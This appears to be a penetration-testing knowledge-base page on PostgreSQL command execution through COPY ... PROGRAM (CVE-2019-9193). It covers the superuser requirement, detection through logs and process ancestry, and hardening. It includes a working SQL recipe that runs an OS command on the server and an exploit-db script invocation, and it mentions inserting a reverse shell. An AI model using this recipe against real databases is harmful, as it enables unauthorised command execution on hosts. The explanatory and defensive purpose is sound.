the_open_door
coffee
ESEN
← Back to index

PostgreSQL RCE via COPY ... PROGRAM (CVE-2019-9193)

Since version 9.3, PostgreSQL ships the COPY ... FROM/TO PROGRAM clause: it lets a COPY statement read its input from a program's output, or write its output to another program's input. That program runs as the system user the server runs under (usually postgres). Anyone who can run COPY ... PROGRAM effectively gets command execution on the host.

Why it matters (and the CVE caveat). The technique is filed as CVE-2019-9193, but PostgreSQL treats it as a feature by design, not a bug: COPY ... PROGRAM is restricted to accounts with the superuser role (or, since 11, members of pg_execute_server_program). So it is not a privilege jump from an unprivileged user: you have to authenticate as a superuser first. The classic lab case is exactly that, weak or default credentials (postgres:postgres) granting superuser access; from there the "vulnerability" is just using a legitimate feature to run commands.

The recipe. Manually, you create a temporary table and dump a command's output into it:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

The final SELECT shows the output of id run on the server. For a reverse shell, just put the matching command in PROGRAM. The public exploit 50847.py (exploit-db) automates the whole cycle (create a random-named table, run the command, clean up) against a database given with -d:

python3 50847.py -i <ip> -p <port> -d template1 -c "<command>"

How to detect it. With log_statement='all' (or pgaudit), the signature is unmistakable in the PostgreSQL log: a COPY ... FROM/TO PROGRAM statement, which no legitimate application uses, almost always preceded by a random-named temporary CREATE TABLE. On the host, the postgres process spawning sh/bash (or the given command) as a child is the confirmation (auditd/Sysmon for Linux over execve with ppid=postgres), something the engine never does in normal operation. A superuser login from an external IP (often postgres:postgres) is the preceding sign.

Defence. Don't expose PostgreSQL to the network unnecessarily, and never with default credentials. Grant the superuser role only to the accounts that truly need it: an application account with least privilege cannot use COPY ... PROGRAM. Related to command injection and, as a later pivot vector, to SUID binary abuse.

Toolspsql

Machines where it's used